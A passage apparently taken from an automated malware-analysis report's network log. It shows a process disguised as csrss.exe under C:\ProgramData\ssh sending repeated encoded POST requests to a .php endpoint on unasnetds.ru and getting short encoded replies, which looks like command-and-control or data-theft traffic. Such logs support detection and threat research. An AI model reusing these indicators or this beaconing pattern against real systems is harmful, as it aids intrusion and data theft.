Jan 3, 2025 11:47:39.692744017 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bCLLIgwaKVYJbna3eRy%2FmzyfsGvst3gyoVb0wBzyIbAruoQZNlDYL9mZXB8AIdmKVh1Grdj206bMdSBBBN5sTCBcCGWEIVOXD5Uh0zn%2BPQRYNYXgcoPmYfP0M54C3vg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26977bdba43ff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3119&min_rtt=1574&rtt_var=3681&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=104749&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	51607	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:40.446260929 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	51608	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:40.474355936 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:40.830882072 CET	1040	OUT	Data Raw: 5a 5d 5b 5d 58 5b 55 5e 5a 5d 59 57 59 5b 5b 53 5f 50 54 5f 50 5b 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z][]X[U^Z]YWY[[S_PT_P[[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$-Y!!;#V73 3>?%?31=24.U'<,^??>Z+. \'%^.4
Jan 3, 2025 11:47:40.944822073 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:41.208700895 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K8oitZ9Nnd0HbBcXl7SzskLZn1RY69ocV3Oox%2F4WtXVM6doBhh%2BOIakl3cWfgAswcT3qHJMLgHBuWavBlDjMjz%2BXg6b325ELQMJvmxa9ivdH9SNkc05F4kIWiDnXYZ0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269809b8e4243-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9211&min_rtt=1683&rtt_var=15687&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=23583&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	51609	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:41.335889101 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:41.690269947 CET	1040	OUT	Data Raw: 5a 52 5b 5e 5d 53 55 59 5a 5d 59 57 59 5a 5b 56 5f 50 54 5b 50 55 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[^]SUYZ]YWYZ[V_PT[PU[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Z.2V6;,!3'[$<8=Z<9Q27*U%?<?">> \'%^.0
Jan 3, 2025 11:47:41.783462048 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:42.049689054 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NyBV%2FaBEy1%2Fj20XKPauKrxgXj2oZWCFZ7KUJ34mD8d0fyigTw687UWEMWgjKSdTOpE7y5qoiAfr4E1mrHhqH%2Bn4dY90%2F1r69z1a8IOuAhWWNtBY%2F8lCPWB7El2L4afU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26985eac9726b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3657&min_rtt=1954&rtt_var=4140&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=93691&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	51610	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:42.176593065 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:42.534095049 CET	1040	OUT	Data Raw: 5a 51 5b 5d 5d 5b 55 5e 5a 5d 59 57 59 58 5b 54 5f 50 54 58 50 58 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZQ[]][U^Z]YWYX[T_PTXPX[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$./*V"83V4'X'=0?9\<'T&4<9&?X?9= \'%^.8
Jan 3, 2025 11:47:42.630362988 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:42.889610052 CET	803	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jznt7W%2BD3gKPPN%2B6mcnexWLSjIi%2FbBqgHO3G324eDOeYR81mNTkQUsqBreswua5CMA3e9tp7wr0JN52z6sR%2F7oLEEDkwXgchC15rTZMoBrYHx4TZUR37hVFZ6TI%2Bon8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2698b2ed74363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2858&min_rtt=1553&rtt_var=3193&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=121717&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	51611	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:43.210342884 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:43.565604925 CET	1040	OUT	Data Raw: 5a 55 5b 5b 58 59 50 5d 5a 5d 59 57 59 5b 5b 51 5f 5b 54 5b 50 5f 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[[XYP]Z]YWY[[Q_[T[P_[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$-<1#;?70$#>+*+Q% /21Y$Y?<%). \'%^.4
Jan 3, 2025 11:47:43.681215048 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:43.930918932 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KuIiu1rqgpv7dhEBbdoKNCle0IwmzwQNtHLI%2BM612WKQrKKgJeSZBoZ0vOcrdGA8BLfrfZY3VWUXwAsEziioShxAntJS2F0LO%2BkyIbqfBRfLpSW5TTBmX9%2BExF%2Bkm%2BQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26991baf0c436-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4440&min_rtt=1451&rtt_var=6522&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=57564&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	51612	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:44.055157900 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:44.409015894 CET	1040	OUT	Data Raw: 5f 57 5e 5b 5d 59 55 5b 5a 5d 59 57 59 58 5b 5b 5f 5b 54 5e 50 55 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _W^[]YU[Z]YWYX[[_[T^PU[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-,W5$#Z0.+9_*;W%= T%Y,=/)+> \'%^.8
Jan 3, 2025 11:47:44.498613119 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:44.760375023 CET	801	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QJHqVS9nul3qvIN%2BZ9VR%2BbcTA9iuaggye7bTTo9Mloux5GoPLyaMPbvO2A6LgjOVpDiOn%2BCbxho9FZogsVIGTflr6UB9%2F942PBvsozUTeSLmxD6Rx5DKGywNjpynOHM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26996da3a43d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1855&min_rtt=1560&rtt_var=1175&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=372448&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	51613	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:44.902142048 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:45.255583048 CET	1040	OUT	Data Raw: 5a 53 5e 59 5d 5a 55 5c 5a 5d 59 57 59 56 5b 53 5f 50 54 5b 50 58 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS^Y]ZU\Z]YWYV[S_PT[PX[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'.258?703Y%-'X++9[<;T294!1<8+"+. \'%^.
Jan 3, 2025 11:47:45.344846964 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	51614	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:45.563155890 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:45.962413073 CET	1756	OUT	Data Raw: 5a 53 5e 5e 5d 5e 55 5b 5a 5d 59 57 59 5d 5b 57 5f 5b 54 5f 50 55 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS^^]^U[Z]YWY][W_[T_PU[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$.,168,#3''(;5<3V2.2 P1<]?,* \'%^.,
Jan 3, 2025 11:47:46.004439116 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:46.350342035 CET	945	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9rH6vWKY3V%2BJI1943LRkCBlJTIbQD1DwJOwGONjgO992xMJc2GvydDimC3lvPPBLXCUQ5280k7QEB3KSCO5cIGznaR26Fzo2KAJXzRobyk82gmkzsICWAx6jg%2BQDkxk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269a048a219aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3331&min_rtt=1989&rtt_var=3430&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=114734&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 5a 23 2e 3f 12 27 3a 3c 0f 25 39 3e 08 36 0e 3d 05 3a 07 31 5b 24 3c 24 0f 3e 00 30 0b 33 3c 3d 5f 29 01 3e 0a 26 2f 3a 00 26 29 2e 59 0d 11 38 5f 28 3c 02 0e 29 2a 33 09 2a 06 23 1b 33 2c 12 58 2a 2b 37 13 3e 22 2f 0a 21 2f 14 0b 2a 08 3d 12 2b 24 3d 5e 3e 31 3f 59 31 0f 2c 5e 0b 12 24 1f 2b 32 21 56 34 08 3d 5c 31 3d 2b 5c 26 2a 0d 1f 35 33 28 16 27 2b 2c 15 2f 0b 25 51 26 37 20 1d 2a 16 24 5e 23 2b 22 1a 2b 17 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98!Z#.?':<%9>6=:1[$<$>03<=_)>&/:&).Y8_(<)3#3,X+7>"/!/=+$=^>1?Y1,^$+2!V4=\1=+\&53('+,/%Q&7 $^#+"+'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	51615	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:46.167078018 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue
Jan 3, 2025 11:47:46.531275988 CET	1032	OUT	Data Raw: 5a 5c 5b 50 58 5c 50 59 5a 5d 59 57 59 5e 5b 56 5f 53 54 5f 50 5e 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\[PX\PYZ]YWY^[V_ST_P^[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]:?&5+U!#_%.0+1+&.14=&<8_<?6= \'%^.4
Jan 3, 2025 11:47:46.639599085 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:46.907011032 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6YUB02sjffCemDZBzNz5%2FaCGSatjANzJGRkYSgcqe3%2B6VUBll8UaUWxgTQy5YoWMWXxqHbkkJCVIqQpCTuYehmxxQ9hBqv7p8BBnpvm5IcAPTWIxybS821y223WBJHM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269a43fd55e66-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5100&min_rtt=2392&rtt_var=6314&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1353&delivery_rate=60674&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	51616	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:47.047629118 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:47.393484116 CET	1040	OUT	Data Raw: 5a 5c 5b 58 58 58 50 5e 5a 5d 59 57 59 5b 5b 55 5f 57 54 5b 50 5b 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\[XXXP^Z]YWY[[U_WT[P[[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9/)";?T #3'[(]:?93Q'-=U4Y:&,8+?6\) \'%^.4
Jan 3, 2025 11:47:47.506712914 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:47.764585972 CET	795	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tCfxxUsp09g1R0qMsL3FEbOrsWwBCiEcbnPeoIwCAdvOrlku929qwo2qyAkB3q4aQRmu2iZN%2FCTnSA06wmbd1Sr8rj7pXJ30OHRXEB80eoPYCTohVal3QwZfKODNNV8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269a9ad87c33c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3117&min_rtt=1664&rtt_var=3530&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=109848&cwnd=147&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	51617	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:47.909765005 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:48.268805027 CET	1040	OUT	Data Raw: 5f 51 5b 5d 5d 53 55 5b 5a 5d 59 57 59 5d 5b 57 5f 51 54 5c 50 5a 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q[]]SU[Z]YWY][W_QT\PZ[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'.<6U6+!3?Y'>+++_?1R ?%2?X<&Y) \'%^.,
Jan 3, 2025 11:47:48.352118015 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:48.614792109 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8vXmsSTQjKgfMIupUAFGblyNqwdg5CO020zkiRpk47Uip2mWzJtasvUrOV3KKl1az3NZ4QDu8FQnRhKYjmVXxJqj5yTfiezFtPMIyO2a%2FFy3dOD746CAjgt%2BhhEolh0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269aefb5bc45c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2548&min_rtt=1497&rtt_var=2664&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=147340&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
